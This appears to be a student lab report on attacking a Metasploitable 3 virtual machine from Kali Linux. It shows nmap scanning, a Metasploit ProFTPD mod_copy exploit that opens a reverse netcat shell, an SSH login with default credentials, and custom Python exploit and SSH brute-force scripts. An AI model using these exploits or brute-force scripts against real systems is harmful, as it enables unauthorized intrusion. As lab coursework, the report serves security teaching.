Phase One:

This phase focus on the initialization of two environments, which are: *Victim Environment* using Metasploitable 3, and *Attacker Environment* using Kali Linux. In addition to the initialization, we will also choose a *Vulnerable Service* and Attack it, via **Metasploit** and other tools, using custom script. We decide to do the work in parallel, meaning we all will start the same phase and try to solve it together at the same time, hence, in some screenshots the ip address for both attacker and victim devices will differ, here is a table to show the ip address for each device in all of our computers:

Figure 1: Showing connectivity between kali linux device and Metasploitable 3

```
┌──(s㉿Kali)-[~]
└─$ ping 10.0.2.15
PING 10.0.2.15 (10.0.2.15) 56(84) bytes of data.
64 bytes from 10.0.2.15: icmp_seq=1 ttl=64 time=0.356 ms
64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=0.189 ms
64 bytes from 10.0.2.15: icmp_seq=3 ttl=64 time=0.221 ms
^C
--- 10.0.2.15 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2040ms
rtt min/avg/max/mdev = 0.189/0.255/0.356/0.072 ms
```

After reading about the vulnerabilities within Metasploitable 3, we decided to check ourselves on which ones we can work on, by scanning the ports of the victim device:

Figure 2: Scanning open ports

```
┌──(s㉿Kali)-[~]
└─$ nmap 10.0.2.15 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 12:36 BST
Nmap scan report for 10.0.2.15
Host is up (0.00018s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:78:1D:D1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.2.1, METASPLOITABLE3-UB1404; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds
```

As the table shows, we confirmed that all the vulnerabilities mentioned are in open ports. The following step was to try to attack different ports, Abdulaziz started with FTP, Jawad chose SSH, and Saifullah attacked HTTP in their own devices.

As multiple attempts, we were able to find exploitations for both FTP and SSH, and we were able to secure a Shell Session in both, taking control of the victim machine.

Exploring and Exploiting FTP:

Figure 3: Setting up FTP attack

```
msf6 auxiliary(scanner/postgres/postgres_login) > use unix/ftp/proftpd_modcopy_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
                                         ng-metasploit.html
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html    yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.5         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 10.0.2.15
rhosts => 10.0.2.15
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > info

       Name: ProFTPD 1.3.5 Mod_Copy Command Execution
     Module: exploit/unix/ftp/proftpd_modcopy_exec
   Platform: Unix
       Arch: cmd
  Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
   Disclosed: 2015-04-22

Provided by:
  Vadim Melihow
  xistence <xistence@0x90.nl>

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  ⇒   0   ProFTPD 1.3.5

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.0.2.15        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
                                        g-metasploit.html
  RPORT      80               yes       HTTP port (TCP)
  RPORT_FTP  21               yes       FTP port
  SITEPATH   /var/www/html    yes       Absolute writable website path
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path to the website
  TMPPATH    /tmp             yes       Absolute writable path
  VHOST                       no        HTTP server virtual host

Payload information:
  Avoid: 0 characters

Description:
  This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.
  Any unauthenticated client can leverage these commands to copy files from any
  part of the filesystem to a chosen destination. The copy commands are executed with
  the rights of the ProFTPD service, which by default runs under the privileges of the
  'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
  directory, PHP remote code execution is made possible.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-3306
  https://www.exploit-db.com/exploits/36742
  http://bugs.proftpd.org/show_bug.cgi?id=4169
```

Figure 4: Exploiting FTP, and opening Shell session

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] 10.0.2.15:80 - 10.0.2.15:21 - Connected to FTP server
[*] 10.0.2.15:80 - 10.0.2.15:21 - Sending copy commands to FTP server
[*] 10.0.2.15:80 - Executing PHP payload /XnLv02.php
[+] 10.0.2.15:80 - Deleted /var/www/html/XnLv02.php
[*] Command shell session 1 opened (10.0.2.5:4444 → 10.0.2.15:53915) at 2025-04-13 14:46:29 +0100
[-] 10.0.2.15:80 - Exploit aborted due to failure: unknown: 10.0.2.15:21 - Failure executing payload
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.0.2.5:4444 → 10.0.2.15:53915 (10.0.2.15)
```

Exploring and Exploiting SSH:

Figure 5: Setting up and Exploiting SSH

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 10.0.2.15
rhost => 10.0.2.15
msf6 auxiliary(scanner/ssh/ssh_login) > set username vagrant
username => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set paswword vagrant
[!] Unknown datastore option: paswword. Did you mean PASSWORD?
paswword => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set password vagrant
password => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 10.0.2.15:22 - Starting bruteforce
[+] 10.0.2.15:22 - Success: 'vagrant:vagrant' 'uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo) Linux metasploita
ble3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 2 opened (10.0.2.5:37275 → 10.0.2.15:22) at 2025-04-13 14:49:02 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.0.2.5:4444 → 10.0.2.15:53915 (10.0.2.15)
  2         shell linux     SSH s @      10.0.2.5:37275 → 10.0.2.15:22 (10.0.2.15)
```

The exploration part was by finding the open port, as Figure 2 shows, and then we started finding services within each one using auxiliary/scanner/ftp for the first part, and auxiliary/scanner/ssh until the attack was successful.

Writing script for both FTP and SSH:

FTP:

```
#!/usr/bin/env python3
import socket
target_ip = "10.0.2.15"  # Victim IP
target_port = 21
command = "id > /tmp/poc.txt"  # Command to execute (PoC: writes output to /tmp/poc.txt)

def exploit_proftpd():
    try:        # Connect to FTP
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        print(s.recv(1024).decode())  # Banner grab

        # Trigger mod_copy exploit
        s.send(b"USER anonymous\r\n")
        print(s.recv(1024).decode())
        s.send(b"PASS anonymous\r\n")
        print(s.recv(1024).decode())
        s.send(b"SITE CPFR /etc/passwd\r\n")  # Arbitrary read
        print(s.recv(1024).decode())
        s.send(f"SITE CPTO /var/www/html/.{command}\r\n".encode())  # Inject command
        print(s.recv(1024).decode())
        s.close()

        print(f"[+] Exploit sent! Check /tmp/poc.txt on {target_ip}")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit_proftpd()
```

SSH:

```
#!/usr/bin/env python3
import paramiko
import socket
import time
target_ip = "10.0.2.15"  # Victim IP
target_port = 22
username = "msfadmin"  # Common Metasploitable username
passwords = ["msfadmin", "password", "123456", "admin","vagrant"]  # Add more passwords

def ssh_bruteforce():
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for password in passwords:
        try:
            print(f"[*] Trying: {username}:{password}")
            ssh.connect(target_ip, port=target_port, username=username, password=password, timeout=5)
            print(f"[+] Success! Credentials: {username}:{password}")
            # Execute a command for PoC
            stdin, stdout, stderr = ssh.exec_command("id")
            print(f"[*] Command output: {stdout.read().decode()}")
            return True
        except paramiko.AuthenticationException:
            print(f"[-] Failed: {username}:{password}")
        except socket.timeout:
            print("[-] Connection timeout.")
        except Exception as e:
            print(f"[-] Error: {e}")
    return False
if __name__ == "__main__":
    ssh_bruteforce()
```